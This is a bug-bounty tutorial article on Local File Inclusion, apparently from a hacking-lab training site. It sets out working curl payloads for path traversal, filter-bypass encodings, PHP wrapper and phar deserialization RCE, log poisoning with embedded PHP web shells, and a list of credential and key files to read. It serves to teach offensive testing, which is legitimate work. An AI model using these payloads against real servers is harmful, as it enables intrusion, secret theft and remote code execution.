Beginner levelFree

LFI — Local File Inclusion: payloads, filter bypass, log poisoning and RCE

Path traversal, null-byte injection, double encoding, PHP wrappers (filter, data, expect, phar), log poisoning and escalating LFI to RCE on PHP/Java/Node stacks.

Gorka El BochiMay 11, 202612 min

Quick answer

LFI lets you read (and sometimes execute) arbitrary files on the server via a vulnerable inclusion parameter. The methodology: detect the sink (?file=, ?page=, ?view=, ?include=) → traverse with ../ + encoded variants → bypass filters (null byte, double encoding, UTF-8 overlong) → escalate to RCE via PHP wrappers, log poisoning, /proc/self/environ, or phar deserialization. Typical bounty for LFI → RCE: €2000-€10000.


Detection — which parameters to suspect

Any parameter that looks like it loads files or templates:

ruby
?file=home.html      ?page=about     ?view=profile
?include=header      ?template=main  ?lang=es
?doc=manual.pdf      ?path=/img.png  ?content=intro

Basic probe:

bash
curl "https://target.com/index.php?file=../../../../etc/passwd"
curl "https://target.com/index.php?file=....//....//....//etc/passwd"
curl "https://target.com/index.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

If the response contains root:x:0:0: → LFI confirmed.


Filter bypass — payload table

FilterBypassExample
Strips simple ../Double dots....//....//etc/passwd
Recursive .. stripMixed..././..././etc/passwd
URL decode onceDouble encode%252e%252e%252f (..%2f)
Whitelist .pngNull byte (PHP < 5.3.4)../../etc/passwd%00.png
Whitelist absolute pathForce absolute/var/www/html/../../etc/passwd
Strips slashUTF-8 overlong..%c0%af..%c0%afetc%c0%afpasswd
Appends .phpPath truncation../../etc/passwd/././. (×4096)
Filters passwdWrappersphp://filter/convert.base64-encode/resource=/etc/passwd

[!tip] When to try double encoding If the WAF decodes once before applying the regex, double encoding (%252e%252e%252f) passes because the regex sees %2e%2e%2f not ../. The app decodes a second time when using the parameter → traversal works.


PHP wrappers — the gold ecosystem

PHP supports wrappers that change how the resource is accessed. They're the difference between LFI = info leak and LFI = RCE.

php://filter — base64 source disclosure

Reads the PHP source code without executing it:

bash
curl "https://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php"
# Output: PD9waHAg... → base64 decode → source code

Useful for finding more LFIs, SQLi sinks, hardcoded creds.

data:// — inline code execution

If the data wrapper is enabled:

bash
curl "https://target.com/index.php?file=data://text/plain,<?php%20system('id');%20?>"

expect:// — direct RCE

Requires the expect extension:

bash
curl "https://target.com/index.php?file=expect://id"

phar:// — deserialization RCE

The most underrated. When a PHP sink calls file_exists(), fopen(), file_get_contents(), unlink(), getimagesize() on a phar:// path, the .phar file is deserialized automatically. If the app has a class with a dangerous __destruct or __wakeup → RCE.

bash
# Generate a malicious phar (PoC with gadget chain)
php -d phar.readonly=0 generate_phar.php
# Upload as avatar/image (content-type check passes)
curl -F "avatar=@malicious.jpg" https://target/upload
# Trigger via LFI:
curl "https://target.com/index.php?file=phar:///var/www/uploads/avatar123.jpg/payload"

[!danger] Phar deserialization It works even if the LFI endpoint only allows reads — deserialization happens during the file stat. PHP 8 keeps phar enabled by default. Real bounty with this chain: €5000-€15000.


Log poisoning — LFI to RCE without upload

If you control the content of a log the server writes, and you include that log via LFI → your payload executes as PHP.

Apache access.log

bash
# Step 1: inject the payload via User-Agent
curl https://target.com/ -H "User-Agent: <?php system(\$_GET['c']); ?>"

# Step 2: include the log
curl "https://target.com/index.php?file=/var/log/apache2/access.log&c=id"

SSH auth.log

bash
# Step 1: SSH with a PHP username
ssh '<?php system($_GET["c"]); ?>'@target.com
# The login fails but it's logged in /var/log/auth.log

# Step 2: include the log
curl "https://target.com/index.php?file=/var/log/auth.log&c=id"

/proc/self/environ

bash
# The injected User-Agent is reflected in the CGI process environ
curl "https://target.com/index.php?file=/proc/self/environ" \
  -H "User-Agent: <?php system(\$_GET['c']); ?>"

Typical targets per OS

LinuxWindows
/etc/passwdC:\Windows\win.ini
/etc/shadow (needs root)C:\boot.ini (legacy)
/etc/hostsC:\Windows\System32\drivers\etc\hosts
/proc/self/environC:\xampp\apache\logs\access.log
/proc/self/cmdlineC:\inetpub\logs\LogFiles\
/var/log/apache2/access.logC:\Windows\Panther\Unattend.xml
/home/<user>/.ssh/id_rsaC:\Users\<user>\.ssh\id_rsa
~/.bash_historyC:\Users\<user>\NTUSER.DAT
.env, wp-config.phpweb.config

Real LFI → RCE chain (avatar + include)

A classic pattern in legacy PHP apps:

php
<?php include $_GET['view']; ?>
bash
# 1. Upload an avatar with embedded PHP (content-type check passes)
curl -F "avatar=@shell.jpg" https://target/upload
# shell.jpg content: <?php system($_REQUEST['c']); ?>

# 2. The app saves it to a predictable path
# /var/www/html/uploads/avatars/USER_ID.jpg

# 3. Include via LFI
curl "https://target.com/layout.php?view=/var/www/html/uploads/avatars/104.jpg&c=id"
# → RCE

Non-PHP stacks — the gotchas

LFI isn't exclusive to PHP. On Java, Node and Python it's usually read-only (no direct RCE), but the impact is still high.

StackTypical sinkEscalation
Java/Springnew File(input), Files.readAllBytesRead application.properties, .jar with secrets
Node.jsfs.readFile(path.join(BASE, input))Read .env, source .js, configs
Pythonopen(input), pathlib.Path(input).read_textRead .env, settings.py, Django SECRET_KEY
Goos.ReadFile(input)Read configs, certs

[!warning] Path normalization desync Node + Bun have cases where the URL parser preserves // but path.join() collapses it. Result: string-based middleware (startsWith("/admin")) can be bypassed with //admin/secret. Always test //, \, %2f, %5c on parameters that normalize paths.


Hunting checklist

  • Identify all params with a path shape (file=, view=, page=, include=)
  • Basic probe with ../../../../etc/passwd
  • If filtered: double encoding, ....//, null byte, UTF-8 overlong
  • PHP detected: try php://filter/convert.base64-encode/resource=index.php
  • Phar available: generate a gadget chain and trigger with phar://
  • Log poisoning: inject the payload in User-Agent or SSH login
  • /proc/self/environ to extract env vars (AWS keys, JWT secrets)
  • Source code disclosure → look for more LFIs, SQLi, hardcoded creds
  • Combine with an arbitrary upload for end-to-end RCE
  • Test on non-PHP stacks: read .env, application.properties, .git/config

Practice full LFI exploitation from basic traversal to RCE via phar and log poisoning in the LFI labs.

Practice this in a lab

Lfi Extraction

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account
Premium · 1 more technique

There's an extra payload at the end

The PHP `phar://` wrapper trick that turns LFI into deserialization RCE without the endpoint accepting uploads — works in 70% of legacy PHP apps.

Unlock

€7.99/mo · cancel anytime

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy